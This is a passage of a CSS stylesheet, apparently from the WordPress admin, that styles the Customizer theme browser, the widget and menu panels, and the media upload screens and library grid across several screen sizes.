#customize-theme-controls .themes.accordion-section-content {
	position: relative;
	left: 0;
	padding: 0;
	width: 100%;
}

.loading .customize-themes-section .spinner {
	display: block;
	visibility: visible;
	position: relative;
	clear: both;
	width: 20px;
	height: 20px;
	left: calc(50% - 10px);
	float: none;
	margin-top: 50px;
}

.customize-themes-section .no-themes,
.customize-themes-section .no-themes-local {
	display: none;
}

.themes-section-installed_themes .theme .notice-success:not(.updated-message) {
	display: none; /* Hide "installed" notice on installed themes tab. */
}

.customize-control-theme .theme {
	width: 100%;
	margin: 0;
	border: 1px solid #dcdcde;
	background: #fff;
}

.customize-control-theme .theme .theme-name, .customize-control-theme .theme .theme-actions {
	background: #fff;
	border: none;
}

.customize-control.customize-control-theme { /* override most properties on .customize-control */
	box-sizing: border-box;
	width: 25%;
	max-width: 600px; /* Max. screenshot size / 2 */
	margin: 0 25px 25px 0;
	padding: 0;
	clear: none;
}

/* 5 columns above 2100px */
@media screen and (min-width: 2101px) {
	.customize-control.customize-control-theme {
		width: calc( ( 100% - 125px ) / 5 - 1px ); /* 1px offset accounts for browser rounding, typical all grids */
	}
}

/* 4 columns up to 2100px */
@media screen and (min-width: 1601px) and (max-width: 2100px) {
	.customize-control.customize-control-theme {
		width: calc( ( 100% - 100px ) / 4 - 1px );
	}
}

/* 3 columns up to 1600px */
@media screen and (min-width: 1201px) and (max-width: 1600px) {
	.customize-control.customize-control-theme {
		width: calc( ( 100% - 75px ) / 3 - 1px );
	}
}

/* 2 columns up to 1200px */
@media screen and (min-width: 851px) and (max-width: 1200px) {
	.customize-control.customize-control-theme {
		width: calc( ( 100% - 50px ) / 2 - 1px );

	}
}

/* 1 column up to 850 px */
@media screen and (max-width: 850px) {
	.customize-control.customize-control-theme {
		width: 100%;
	}
}

.wp-customizer .theme-browser .themes {
	padding: 0 0 25px 25px;
	transition: .18s margin-top linear;
}

.wp-customizer .theme-browser .theme .theme-actions {
	opacity: 1;
}

#customize-controls h3.theme-name {
	font-size: 15px;
}

#customize-controls .theme-overlay .theme-name {
	font-size: 32px;
}

.customize-preview-header.themes-filter-bar {
	position: fixed;
	top: 0;
	left: 300px;
	width: calc(100% - 300px);
	height: 46px;
	background: #f0f0f1;
	z-index: 10;
	padding: 6px 25px;
	box-sizing: border-box;
	border-bottom: 1px solid #dcdcde;
}

@media screen and (min-width: 1670px) {
	.customize-preview-header.themes-filter-bar {
		width: 82%;
		right: 0;
		left: initial;
	}
}

.themes-filter-bar .themes-filter-container {
	margin: 0;
	padding: 0;
}

.themes-filter-bar .wp-filter-search {
	line-height: 1.8;
	padding: 6px 10px 6px 30px;
	max-width: 100%;
	width: 40%;
	min-width: 300px;
	position: absolute;
	top: 6px;
	left: 25px;
	height: 32px;
	margin: 1px 0;
}

/* Unstick the filter bar on short windows/screens. This breakpoint is based on the
   current length of .org feature filters assuming translations do not wrap lines. */
@media screen and (max-height: 540px), screen and (max-width: 1018px) {
	.customize-preview-header.themes-filter-bar {
		position: relative;
		left: 0;
		width: 100%;
		margin: 0 0 25px;
	}
	.filter-drawer {
		top: 46px;
	}
	.wp-customizer .theme-browser .themes {
		padding: 0 0 25px 25px;
		overflow: hidden;
	}

	.control-panel-themes .customize-themes-full-container {
		margin-top: 0;
		padding: 0;
		height: 100%;
		width: calc(100% - 300px);
	}
}

@media screen and (max-width: 1018px) {
	.filter-drawer .filter-group {
		width: calc( (100% - 50px) / 2);
	}
}

@media screen and (max-width: 900px) {
	.customize-preview-header.themes-filter-bar {
		height: 86px;
		padding-top: 46px;
	}

	.themes-filter-bar .wp-filter-search {
		width: calc(100% - 50px);
		margin: 0;
		min-width: 200px;
	}

	.filter-drawer {
		top: 86px;
	}

	.control-panel-themes .filter-themes-count {
		float: left;
	}
}

@media screen and (max-width: 792px) {
	.filter-drawer .filter-group {
		width: calc( 100% - 25px);
	}
}

.control-panel-themes .customize-themes-mobile-back {
	display: none;
}

/* Mobile - toggle between themes and filters */
@media screen and (max-width: 600px) {

	.filter-drawer {
		top: 132px;
	}

	.wp-full-overlay.showing-themes .control-panel-themes .filter-themes-count .filter-themes {
		display: block;
		float: right;
	}

	.control-panel-themes .customize-themes-full-container {
		width: 100%;
		margin: 0;
		padding-top: 46px;
		height: calc(100% - 46px);
		z-index: 1;
		display: none;
	}

	.showing-themes .control-panel-themes .customize-themes-full-container {
		display: block;
	}

	.wp-customizer .showing-themes .control-panel-themes .customize-themes-mobile-back {
		display: block;
		position: fixed;
		top: 0;
		left: 0;
		background: #f0f0f1;
		color: #3c434a;
		border-radius: 0;
		box-shadow: none;
		border: none;
		height: 46px;
		width: 100%;
		z-index: 10;
		text-align: left;
		text-shadow: none;
		border-bottom: 1px solid #dcdcde;
		border-left: 4px solid transparent;
		margin: 0;
		padding: 0;
		font-size: 0;
		overflow: hidden;
	}

	.wp-customizer .showing-themes .control-panel-themes .customize-themes-mobile-back:before {
		left: 0;
		top: 0;
		height: 46px;
		width: 26px;
		display: block;
		line-height: 2.3;
		padding: 0 8px;
		border-right: 1px solid #dcdcde;
	}

	.wp-customizer .showing-themes .control-panel-themes .customize-themes-mobile-back:hover,
	.wp-customizer .showing-themes .control-panel-themes .customize-themes-mobile-back:focus {
		color: #2271b1;
		background: #f6f7f7;
		border-left-color: #2271b1;
		box-shadow: none;
		/* Only visible in Windows High Contrast mode */
		outline: 2px solid transparent;
		outline-offset: -2px;
	}

	.showing-themes #customize-header-actions {
		display: none;
	}

	#customize-controls {
		width: 100%;
	}
}

/* Details View */
.wp-customizer .theme-overlay {
	display: none;
}

.wp-customizer.modal-open .theme-overlay {
	position: fixed;
	left: 0;
	top: 0;
	right: 0;
	bottom: 0;
	z-index: 109;
}

/* Avoid a z-index war by resetting elements that should be under the overlay.
   This is likely required because of the way that sections and panels are positioned. */
.wp-customizer.modal-open #customize-header-actions,
.wp-customizer.modal-open .control-panel-themes .filter-themes-count,
.wp-customizer.modal-open .control-panel-themes .customize-themes-section-title.selected:after {
	z-index: -1;
}

.wp-full-overlay.in-themes-panel.themes-panel-expanded #customize-controls .wp-full-overlay-sidebar-content {
	overflow: visible;
}

.wp-customizer .theme-overlay .theme-backdrop {
	background: rgba(240, 240, 241, 0.75);
	position: fixed;
	z-index: 110;
}

.wp-customizer .theme-overlay .star-rating {
	float: left;
	margin-right: 8px;
}

.wp-customizer .theme-rating .num-ratings {
	line-height: 20px;
}

.wp-customizer .theme-overlay .theme-wrap {
	left: 90px;
	right: 90px;
	top: 45px;
	bottom: 45px;
	z-index: 120;
}

.wp-customizer .theme-overlay .theme-actions {
	text-align: right; /* Because there're only one or two actions, match the UI pattern of media modals and right-align the action. */
	padding: 10px 25px 5px;
	background: #f0f0f1;
	border-top: 1px solid #dcdcde;
}

.wp-customizer .theme-overlay .theme-actions .theme-install.preview {
	margin-left: 8px;
}

.modal-open .in-themes-panel #customize-controls .wp-full-overlay-sidebar-content {
	overflow: visible; /* Prevent the top-level Customizer controls from becoming visible when elements on the right of the details modal are focused. */
}

.wp-customizer .theme-header {
	background: #f0f0f1;
}

.wp-customizer .theme-overlay .theme-header button,
.wp-customizer .theme-overlay .theme-header .close:before {
	color: #3c434a;
}

.wp-customizer .theme-overlay .theme-header .close:focus,
.wp-customizer .theme-overlay .theme-header .close:hover,
.wp-customizer .theme-overlay .theme-header .right:focus,
.wp-customizer .theme-overlay .theme-header .right:hover,
.wp-customizer .theme-overlay .theme-header .left:focus,
.wp-customizer .theme-overlay .theme-header .left:hover {
	background: #fff;
	border-bottom: 4px solid #2271b1;
	color: #2271b1;
}

.wp-customizer .theme-overlay .theme-header .close:focus:before,
.wp-customizer .theme-overlay .theme-header .close:hover:before {
	color: #2271b1;
}

.wp-customizer .theme-overlay .theme-header button.disabled,
.wp-customizer .theme-overlay .theme-header button.disabled:hover,
.wp-customizer .theme-overlay .theme-header button.disabled:focus {
	border-bottom: none;
	background: transparent;
	color: #c3c4c7;
}

/* Small Screens */
@media (max-width: 850px), (max-height: 472px) {
	.wp-customizer .theme-overlay .theme-wrap {
		left: 0;
		right: 0;
		top: 0;
		bottom: 0;
	}

	.wp-customizer .theme-browser .themes {
		padding-right: 25px;
	}
}

/* Handle cheaters. */
body.cheatin {
	font-size: medium;
	height: auto;
	background: #fff;
	border: 1px solid #c3c4c7;
	margin: 50px auto 2em;
	padding: 1em 2em;
	max-width: 700px;
	min-width: 0;
	box-shadow: 0 1px 1px rgba(0, 0, 0, 0.04);
}

body.cheatin h1 {
	border-bottom: 1px solid #dcdcde;
	clear: both;
	color: #50575e;
	font-size: 24px;
	font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif;
	margin: 30px 0 0;
	padding: 0 0 7px;
}

body.cheatin p {
	font-size: 14px;
	line-height: 1.5;
	margin: 25px 0 20px;
}

/**
 * Widgets and Menus common styles
 */

/* higher specificity than .wp-core-ui .button */
#customize-theme-controls .add-new-widget,
#customize-theme-controls .add-new-menu-item {
	cursor: pointer;
	float: right;
	margin: 0 0 0 10px;
	transition: all 0.2s;
	-webkit-user-select: none;
	user-select: none;
	outline: none;
}

.reordering .add-new-widget,
.reordering .add-new-menu-item {
	opacity: 0.2;
	pointer-events: none;
	cursor: not-allowed; /* doesn't work in conjunction with pointer-events */
}

.add-new-widget:before,
.add-new-menu-item:before,
#available-menu-items .new-content-item .add-content:before {
	content: "\f132";
	display: inline-block;
	position: relative;
	left: -2px;
	top: 0;
	font: normal 20px/1 dashicons;
	vertical-align: middle;
	transition: all 0.2s;
	-webkit-font-smoothing: antialiased;
	-moz-osx-font-smoothing: grayscale;
}

/* Reordering */
.reorder-toggle {
	float: right;
	padding: 5px 8px;
	text-decoration: none;
	cursor: pointer;
	outline: none;
}

.reorder,
.reordering .reorder-done {
	display: block;
	padding: 5px 8px;
}

.reorder-done,
.reordering .reorder {
	display: none;
}

.widget-reorder-nav span,
.menu-item-reorder-nav button {
	position: relative;
	overflow: hidden;
	float: left;
	display: block;
	width: 33px; /* was 42px for mobile */
	height: 43px;
	color: #8c8f94;
	text-indent: -9999px;
	cursor: pointer;
	outline: none;
}

.menu-item-reorder-nav button {
	width: 30px;
	height: 40px;
	background: transparent;
	border: none;
	box-shadow: none;
}

.widget-reorder-nav span:before,
.menu-item-reorder-nav button:before {
	display: inline-block;
	position: absolute;
	top: 0;
	right: 0;
	width: 100%;
	height: 100%;
	font: normal 20px/43px dashicons;
	text-align: center;
	text-indent: 0;
	-webkit-font-smoothing: antialiased;
	-moz-osx-font-smoothing: grayscale;
}

.widget-reorder-nav span:hover,
.widget-reorder-nav span:focus,
.menu-item-reorder-nav button:hover,
.menu-item-reorder-nav button:focus {
	color: #1d2327;
	background: #f0f0f1;
}

.move-widget-down:before,
.menus-move-down:before {
	content: "\f347";
}

.move-widget-up:before,
.menus-move-up:before {
	content: "\f343";
}

#customize-theme-controls .first-widget .move-widget-up,
#customize-theme-controls .last-widget .move-widget-down,
.move-up-disabled .menus-move-up,
.move-down-disabled .menus-move-down,
.move-right-disabled .menus-move-right,
.move-left-disabled .menus-move-left {
	color: #dcdcde;
	background-color: #fff;
	cursor: default;
	pointer-events: none;
}

/**
 * New widget and Add-menu-items modes and panels
 */

.wp-full-overlay-main {
	right: auto; /* this overrides a right: 0; which causes the preview to resize, I'd rather have it go off screen at the normal size. */
	width: 100%;
}

body.adding-widget .add-new-widget,
body.adding-widget .add-new-widget:hover,
.adding-menu-items .add-new-menu-item,
.adding-menu-items .add-new-menu-item:hover,
.add-menu-toggle.open,
.add-menu-toggle.open:hover {
	background: #f0f0f1;
	border-color: #8c8f94;
	color: #2c3338;
	box-shadow: inset 0 2px 5px -3px rgba(0, 0, 0, 0.5);
}

body.adding-widget .add-new-widget:before,
.adding-menu-items .add-new-menu-item:before,
#accordion-section-add_menu .add-new-menu-item.open:before {
	transform: rotate(45deg);
}

#available-widgets,
#available-menu-items {
	position: absolute;
	top: 0;
	bottom: 0;
	left: -301px;
	visibility: hidden;
	overflow-x: hidden;
	overflow-y: auto;
	width: 300px;
	margin: 0;
	z-index: 4;
	background: #f0f0f1;
	transition: left .18s;
	border-right: 1px solid #dcdcde;
}

#available-widgets .customize-section-title,
#available-menu-items .customize-section-title {
	display: none;
}

#available-widgets-list {
	top: 60px;
	position: absolute;
	overflow: auto;
	bottom: 0;
	width: 100%;
	border-top: 1px solid #dcdcde;
}

.no-widgets-found #available-widgets-list {
	border-top: none;
}

#available-widgets-filter {
	position: fixed;
	top: 0;
	z-index: 1;
	width: 300px;
	background: #f0f0f1;
}

/* search field container */
#available-widgets-filter,
#available-menu-items-search .accordion-section-title {
	padding: 13px 15px;
	box-sizing: border-box;
}

#available-widgets-filter input,
#available-menu-items-search input {
	width: 100%;
	min-height: 32px;
	margin: 1px 0;
	padding: 0 30px;
}

#available-widgets-filter input::-ms-clear,
#available-menu-items-search input::-ms-clear {
	display: none; /* remove the "x" in IE, which conflicts with the "x" icon on button.clear-results */
}

#available-menu-items-search .search-icon,
#available-widgets-filter .search-icon {
	display: block;
	position: absolute;
	top: 15px; /* 13 container padding +1 input margin +1 input border */
	left: 16px;
	width: 30px;
	height: 30px;
	line-height: 2.1;
	text-align: center;
	color: #646970;
}

#available-widgets-filter .clear-results,
#available-menu-items-search .clear-results {
	position: absolute;
	top: 15px; /* 13 container padding +1 input margin +1 input border */
	right: 16px;
	width: 30px;
	height: 30px;
	padding: 0;
	border: 0;
	cursor: pointer;
	background: none;
	color: #d63638;
	text-decoration: none;
	outline: 0;
}

#available-widgets-filter .clear-results,
#available-menu-items-search .clear-results,
#available-menu-items-search.loading .clear-results.is-visible {
	display: none;
}

#available-widgets-filter .clear-results.is-visible,
#available-menu-items-search .clear-results.is-visible {
	display: block;
}

#available-widgets-filter .clear-results:before,
#available-menu-items-search .clear-results:before {
	content: "\f335";
	font: normal 20px/1 dashicons;
	vertical-align: middle;
	-webkit-font-smoothing: antialiased;
	-moz-osx-font-smoothing: grayscale;
}

#available-widgets-filter .clear-results:hover,
#available-widgets-filter .clear-results:focus,
#available-menu-items-search .clear-results:hover,
#available-menu-items-search .clear-results:focus {
	color: #d63638;
}

#available-widgets-filter .clear-results:focus,
#available-menu-items-search .clear-results:focus {
	box-shadow: 0 0 0 2px #2271b1;
	/* Only visible in Windows High Contrast mode */
	outline: 2px solid transparent;
}

#available-menu-items-search .search-icon:after,
#available-widgets-filter .search-icon:after,
.themes-filter-bar .search-icon:after {
	content: "\f179";
	font: normal 20px/1 dashicons;
	vertical-align: middle;
	-webkit-font-smoothing: antialiased;
	-moz-osx-font-smoothing: grayscale;
}

.themes-filter-bar .search-icon {
	position: absolute;
	top: 7px;
	left: 26px;
	z-index: 1;
	color: #646970;
	height: 30px;
	width: 30px;
	line-height: 2;
	text-align: center;
}

.no-widgets-found-message {
	display: none;
	margin: 0;
	padding: 0 15px;
	line-height: inherit;
}

.no-widgets-found .no-widgets-found-message {
	display: block;
}

#available-widgets .widget-top,
#available-widgets .widget-top:hover,
#available-menu-items .item-top,
#available-menu-items .item-top:hover {
	border: none;
	background: transparent;
	box-shadow: none;
}

#available-widgets .widget-tpl,
#available-menu-items .item-tpl {
	position: relative;
	padding: 15px 15px 15px 60px;
	background: #fff;
	border-bottom: 1px solid #dcdcde;
	border-left: 4px solid #fff;
	transition:
		.15s color ease-in-out,
		.15s background-color ease-in-out,
		.15s border-color ease-in-out;
	cursor: pointer;
	display: none;
}

#available-widgets .widget,
#available-menu-items .item {
	position: static;
}


/* Responsive */
.customize-controls-preview-toggle {
	display: none;
}

@media only screen and (max-width: 782px) {
	.wp-customizer .theme:not(.active):hover .theme-actions,
	.wp-customizer .theme:not(.active):focus .theme-actions {
		display: block;
	}

	.wp-customizer .theme-browser .theme.active .theme-name span {
		display: inline;
	}

	.customize-control-header button.random .dice {
		margin-top: 0;
	}

	.customize-control-radio .customize-inside-control-row,
	.customize-control-checkbox .customize-inside-control-row,
	.customize-control-nav_menu_auto_add .customize-inside-control-row {
		margin-left: 32px;
	}

	.customize-control-radio input,
	.customize-control-checkbox input,
	.customize-control-nav_menu_auto_add input {
		margin-left: -32px;
	}

	.customize-control input[type="radio"] + label + br,
	.customize-control input[type="checkbox"] + label + br {
		line-height: 2.5; /* For widgets checkboxes */
	}

	.customize-control .date-time-fields select {
		height: 39px;
	}

	.date-time-fields .date-input.month {
		width: 79px;
	}

	.date-time-fields .date-input.day,
	.date-time-fields .date-input.hour,
	.date-time-fields .date-input.minute {
		width: 55px;
	}

	.date-time-fields .date-input.year {
		width: 80px;
	}

	#customize-control-changeset_preview_link a {
		bottom: 16px;
	}

	.preview-link-wrapper .customize-copy-preview-link.preview-control-element.button {
		bottom: 10px;
	}

	.media-widget-control .media-widget-buttons .button.edit-media,
	.media-widget-control .media-widget-buttons .button.change-media,
	.media-widget-control .media-widget-buttons .button.select-media {
		margin-top: 12px;
	}

	.wp-core-ui .themes-filter-bar .feature-filter-toggle {
		margin: 3px 0 3px 25px;
	}
}

@media screen and (max-width: 1200px) {
	.outer-section-open .wp-full-overlay.expanded.preview-mobile .wp-full-overlay-main,
	.adding-menu-items .wp-full-overlay.expanded.preview-mobile .wp-full-overlay-main,
	.adding-widget .wp-full-overlay.expanded.preview-mobile .wp-full-overlay-main {
		left: 67%;
	}
}

@media screen and (max-width: 640px) {

	/* when the sidebar is collapsed and switching to responsive view,
	   bring it back see ticket #35220 */
	.wp-full-overlay.collapsed #customize-controls {
		margin-left: 0;
	}

	.wp-full-overlay-sidebar .wp-full-overlay-sidebar-content {
		bottom: 0;
	}

	.customize-controls-preview-toggle {
		display: block;
		position: absolute;
		top: 0;
		left: 48px;
		line-height: 2.6;
		font-size: 14px;
		padding: 0 12px 4px;
		margin: 0;
		height: 45px;
		background: #f0f0f1;
		border: 0;
		border-right: 1px solid #dcdcde;
		border-top: 4px solid #f0f0f1;
		color: #50575e;
		cursor: pointer;
		transition: color .1s ease-in-out, background .1s ease-in-out;
	}

	#customize-footer-actions,
	/*#customize-preview,*/
	.customize-controls-preview-toggle .controls,
	.preview-only .wp-full-overlay-sidebar-content,
	.preview-only .customize-controls-preview-toggle .preview {
		display: none;
	}

	.preview-only #customize-save-button-wrapper {
		margin-top: -46px;
	}

	.customize-controls-preview-toggle .preview:before,
	.customize-controls-preview-toggle .controls:before {
		font: normal 20px/1 dashicons;
		content: "\f177";
		position: relative;
		top: 4px;
		margin-right: 6px;
	}

	.customize-controls-preview-toggle .controls:before {
		content: "\f540";
	}

	.preview-only #customize-controls {
		height: 45px;
	}

	.preview-only #customize-preview,
	.preview-only .customize-controls-preview-toggle .controls {
		display: block;
	}

	.wp-core-ui.wp-customizer .button {
		min-height: 30px;
		padding: 0 14px;
		line-height: 2;
		font-size: 14px;
		vertical-align: middle;
	}

	#customize-control-changeset_status .customize-inside-control-row {
		padding-top: 15px;
	}

	body.adding-widget div#available-widgets,
	body.adding-menu-items div#available-menu-items,
	body.outer-section-open div#customize-sidebar-outer-content {
		width: 100%;
	}

	#available-widgets .customize-section-title,
	#available-menu-items .customize-section-title {
		display: block;
		margin: 0;
	}

	#available-widgets .customize-section-back,
	#available-menu-items .customize-section-back {
		height: 69px;
	}

	#available-widgets .customize-section-title h3,
	#available-menu-items .customize-section-title h3 {
		font-size: 20px;
		font-weight: 200;
		padding: 9px 10px 12px 14px;
		margin: 0;
		line-height: 24px;
		color: #50575e;
		display: block;
		overflow: hidden;
		white-space: nowrap;
		text-overflow: ellipsis;
	}

	#available-widgets .customize-section-title .customize-action,
	#available-menu-items .customize-section-title .customize-action {
		font-size: 13px;
		display: block;
		font-weight: 400;
		overflow: hidden;
		white-space: nowrap;
		text-overflow: ellipsis;
	}

	#available-widgets-filter {
		position: relative;
		width: 100%;
		height: auto;
	}

	#available-widgets-list {
		top: 130px;
	}

	#available-menu-items-search .clear-results,
	#available-menu-items-search .search-icon {
		top: 85px; /* 70 section title height + 13 container padding +1 input margin +1 input border */
	}

	.reorder,
	.reordering .reorder-done {
		padding: 8px;
	}

	.wp-core-ui .themes-filter-bar .feature-filter-toggle {
		margin: 0;
	}
}

@media screen and (max-width: 600px) {
	.wp-full-overlay.expanded {
		margin-left: 0;
	}

	body.adding-widget div#available-widgets,
	body.adding-menu-items div#available-menu-items,
	body.outer-section-open div#customize-sidebar-outer-content {
		top: 46px;
		z-index: 10;
	}

	body.wp-customizer .wp-full-overlay.expanded #customize-sidebar-outer-content {
		left: -100%;
	}

	body.wp-customizer.outer-section-open .wp-full-overlay.expanded #customize-sidebar-outer-content {
		left: 0;
	}
}
/*------------------------------------------------------------------------------
  14.0 - Media Screen
------------------------------------------------------------------------------*/

.media-item .describe {
	border-collapse: collapse;
	width: 100%;
	border-top: 1px solid #dcdcde;
	clear: both;
	cursor: default;
}

.media-item.media-blank .describe {
	border: 0;
}

.media-item .describe th {
	vertical-align: top;
	text-align: left;
	padding: 5px 10px 10px;
	width: 140px;
}

.media-item .describe .align th {
	padding-top: 0;
}

.media-item .media-item-info tr {
	background-color: transparent;
}

.media-item .describe td {
	padding: 0 8px 8px 0;
	vertical-align: top;
}

.media-item thead.media-item-info td {
	padding: 4px 10px 0;
}

.media-item .media-item-info .A1B1 {
	padding: 0 0 0 10px;
}

.media-item td.savesend {
	padding-bottom: 15px;
}

.media-item .thumbnail {
	max-height: 128px;
	max-width: 128px;
}

.media-list-subtitle {
	display: block;
}

.media-list-title {
	display: block;
}

#wpbody-content #async-upload-wrap a {
	display: none;
}

.media-upload-form {
	margin-top: 20px;
}

.media-upload-form td label {
	margin-right: 6px;
	margin-left: 2px;
}

.media-upload-form .align .field label {
	display: inline;
	padding: 0 0 0 23px;
	margin: 0 1em 0 3px;
	font-weight: 600;
}

.media-upload-form tr.image-size label {
	margin: 0 0 0 5px;
	font-weight: 600;
}

.media-upload-form th.label label {
	font-weight: 600;
	margin: 0.5em;
	font-size: 13px;
}

.media-upload-form th.label label span {
	padding: 0 5px;
}

.media-item .describe input[type="text"],
.media-item .describe textarea {
	width: 460px;
}

.media-item .describe p.help {
	margin: 0;
	padding: 0 0 0 5px;
}

.describe-toggle-on,
.describe-toggle-off {
	display: block;
	line-height: 2.76923076;
	float: right;
	margin-right: 10px;
}

.media-item-wrapper {
	display: grid;
	grid-template-columns: 1fr 1fr;
}

.media-item .attachment-tools {
	display: flex;
	justify-content: flex-end;
	align-items: center;
}

.media-item .edit-attachment {
	padding: 14px 0;
	display: block;
	margin-right: 10px;
}

.media-item .edit-attachment.copy-to-clipboard-container {
	display: flex;
	margin-top: 0;
}

.media-item-copy-container .success {
	line-height: 0;
}

.media-item button .copy-attachment-url {
	margin-top: 14px;
}

.media-item .copy-to-clipboard-container {
	margin-top: 7px;
}

.media-item .describe-toggle-off,
.media-item.open .describe-toggle-on {
	display: none;
}

.media-item.open .describe-toggle-off {
	display: block;
}

.media-upload-form .media-item {
	min-height: 70px;
	margin-bottom: 1px;
	position: relative;
	width: 100%;
	background: #fff;
}

.media-upload-form .media-item,
.media-upload-form .media-item .error {
	box-shadow: 0 1px 0 #dcdcde;
}

#media-items:empty {
	border: 0 none;
}

.media-item .filename {
	padding: 14px 0;
	overflow: hidden;
	margin-left: 6px;
}

.media-item .pinkynail {
	float: left;
	margin: 0 10px 0 0;
	max-height: 70px;
	max-width: 70px;
}

.media-item .startopen,
.media-item .startclosed {
	display: none;
}

.media-item .original {
	position: relative;
	min-height: 34px;
}

.media-item .progress {
	float: right;
	height: 22px;
	margin: 7px 6px;
	width: 200px;
	line-height: 2em;
	padding: 0;
	overflow: hidden;
	border-radius: 22px;
	background: #dcdcde;
	box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.1);
}

.media-item .bar {
	z-index: 9;
	width: 0;
	height: 100%;
	margin-top: -22px;
	border-radius: 22px;
	background-color: #2271b1;
	box-shadow: inset 0 0 2px rgba(0, 0, 0, 0.3);
}

.media-item .progress .percent {
	z-index: 10;
	position: relative;
	width: 200px;
	padding: 0;
	color: #fff;
	text-align: center;
	line-height: 22px;
	font-weight: 400;
	text-shadow: 0 1px 2px rgba(0, 0, 0, 0.2);
}

.upload-php .fixed .column-parent {
	width: 15%;
}

.js .html-uploader #plupload-upload-ui {
	display: none;
}

.js .html-uploader #html-upload-ui {
	display: block;
}

#html-upload-ui #async-upload {
	font-size: 1em;
}

.media-upload-form .media-item.error,
.media-upload-form .media-item .error {
	width: auto;
	margin: 0 0 1px;
}

.media-upload-form .media-item .error {
	padding: 10px 0 10px 14px;
	min-height: 50px;
}

.media-item .error-div button.dismiss {
	float: right;
	margin: 0 10px 0 15px;
}

/*------------------------------------------------------------------------------
  14.1 - Media Library
------------------------------------------------------------------------------*/

.find-box {
	background-color: #fff;
	box-shadow: 0 3px 6px rgba(0, 0, 0, 0.3);
	width: 600px;
	overflow: hidden;
	margin-left: -300px;
	position: fixed;
	top: 30px;
	bottom: 30px;
	left: 50%;
	z-index: 100105;
}

.find-box-head {
	background: #fff;
	border-bottom: 1px solid #dcdcde;
	height: 36px;
	font-size: 18px;
	font-weight: 600;
	line-height: 2;
	padding: 0 36px 0 16px;
	position: absolute;
	top: 0;
	left: 0;
	right: 0;
}

.find-box-inside {
	overflow: auto;
	padding: 16px;
	background-color: #fff;
	position: absolute;
	top: 37px;
	bottom: 45px;
	overflow-y: scroll;
	width: 100%;
	box-sizing: border-box;
}

.find-box-search {
	padding-bottom: 16px;
}

.find-box-search .spinner {
	float: none;
	left: 105px;
	position: absolute;
}

.find-box-search,
#find-posts-response {
	position: relative; /* RTL fix, #WP28010 */
}

#find-posts-input,
#find-posts-search {
	float: left;
}

#find-posts-input {
	width: 140px;
	height: 28px;
	margin: 0 4px 0 0;
}

.widefat .found-radio {
	padding-right: 0;
	width: 16px;
}

#find-posts-close {
	width: 36px;
	height: 36px;
	border: none;
	padding: 0;
	position: absolute;
	top: 0;
	right: 0;
	cursor: pointer;
	text-align: center;
	background: none;
	color: #646970;
}

#find-posts-close:hover,
#find-posts-close:focus {
	color: #135e96;
}

#find-posts-close:focus {
	box-shadow: 0 0 0 2px #2271b1;
	/* Only visible in Windows High Contrast mode */
	outline: 2px solid transparent;
	outline-offset: -2px;
}

#find-posts-close:before {
	font: normal 20px/36px dashicons;
	vertical-align: top;
	speak: never;
	-webkit-font-smoothing: antialiased;
	-moz-osx-font-smoothing: grayscale;
	content: "\f158";
}

.find-box-buttons {
	padding: 8px 16px;
	background: #fff;
	border-top: 1px solid #dcdcde;
	position: absolute;
	bottom: 0;
	left: 0;
	right: 0;
}

@media screen and (max-width: 782px) {
	.find-box-inside {
		bottom: 57px;
	}
}

@media screen and (max-width: 660px) {

	.find-box {
		top: 0;
		bottom: 0;
		left: 0;
		right: 0;
		margin: 0;
		width: 100%;
	}

}

.ui-find-overlay {
	position: fixed;
	top: 0;
	left: 0;
	right: 0;
	bottom: 0;
	background: #000;
	opacity: 0.7;
	filter: alpha(opacity=70);
	z-index: 100100;
}

.drag-drop #drag-drop-area {
	border: 4px dashed #c3c4c7;
	height: 200px;
}

.drag-drop .drag-drop-inside {
	margin: 60px auto 0;
	width: 250px;
}

.drag-drop-inside p {
	font-size: 14px;
	margin: 5px 0;
	display: none;
}

.drag-drop .drag-drop-inside p {
	text-align: center;
}

.drag-drop-inside p.drag-drop-info {
	font-size: 20px;
}

.drag-drop .drag-drop-inside p,
.drag-drop-inside p.drag-drop-buttons {
	display: block;
}

/*
#drag-drop-area:-moz-drag-over {
	border-color: #83b4d8;
}
border color while dragging a file over the uploader drop area */
.drag-drop.drag-over #drag-drop-area {
	border-color: #9ec2e6;
}

#plupload-upload-ui {
	position: relative;
}

.post-type-attachment .wp-filter select {
	margin: 0 6px 0 0;
}

/**
 * Media Library grid view
 */

.media-frame.mode-grid,
.media-frame.mode-grid .media-frame-content,
.media-frame.mode-grid .attachments-browser:not(.has-load-more) .attachments,
.media-frame.mode-grid .attachments-browser.has-load-more .attachments-wrapper,
.media-frame.mode-grid .uploader-inline-content {
	position: static;
}

/* Regions we don't use at all */
.media-frame.mode-grid .media-frame-title,
.media-frame.mode-grid .media-frame-router,
.media-frame.mode-grid .media-frame-menu {
	display: none;
}

.media-frame.mode-grid .media-frame-content {
	background-color: transparent;
	border: none;
}

.upload-php .mode-grid .media-sidebar {
	position: relative;
	width: auto;
	margin-top: 12px;
	padding: 0 16px;
	border-left: 4px solid #d63638;
	box-shadow: 0 1px 1px 0 rgba(0, 0, 0, 0.1);
	background-color: #fff;
}

.upload-php .mode-grid .hide-sidebar .media-sidebar {
	display: none;
}

.upload-php .mode-grid .media-sidebar .media-uploader-status {
	border-bottom: none;
	padding-bottom: 0;
	max-width: 100%;
}

.upload-php .mode-grid .media-sidebar .upload-error {
	margin: 12px 0;
	padding: 4px 0 0;
	border: none;
	box-shadow: none;
	background: none;
}

.upload-php .mode-grid .media-sidebar .media-uploader-status.errors h2 {
	display: none;
}

.media-frame.mode-grid .uploader-inline {
	position: relative;
	top: auto;
	right: auto;
	left: auto;
	bottom: auto;
	padding-top: 0;
	margin-top: 20px;
	border: 4px dashed #c3c4c7;
}

.media-frame.mode-select .attachments-browser.fixed:not(.has-load-more) .attachments,
.media-frame.mode-select .attachments-browser.has-load-more.fixed .attachments-wrapper {
	position: relative;
	top: 94px; /* prevent jumping up when the toolbar becomes fixed */
	padding-bottom: 94px; /* offset for above so the bottom doesn't get cut off */
}

.media-frame.mode-grid .attachment:focus,
.media-frame.mode-grid .selected.attachment:focus,
.media-frame.mode-grid .attachment.details:focus {
	box-shadow: inset 0 0 0 2px #2271b1;
	/* Only visible in Windows High Contrast mode */
	outline: 2px solid transparent;
	outline-offset: -6px;
}

.media-frame.mode-grid .selected.attachment {
	box-shadow:
		inset 0 0 0 5px #f0f0f1,
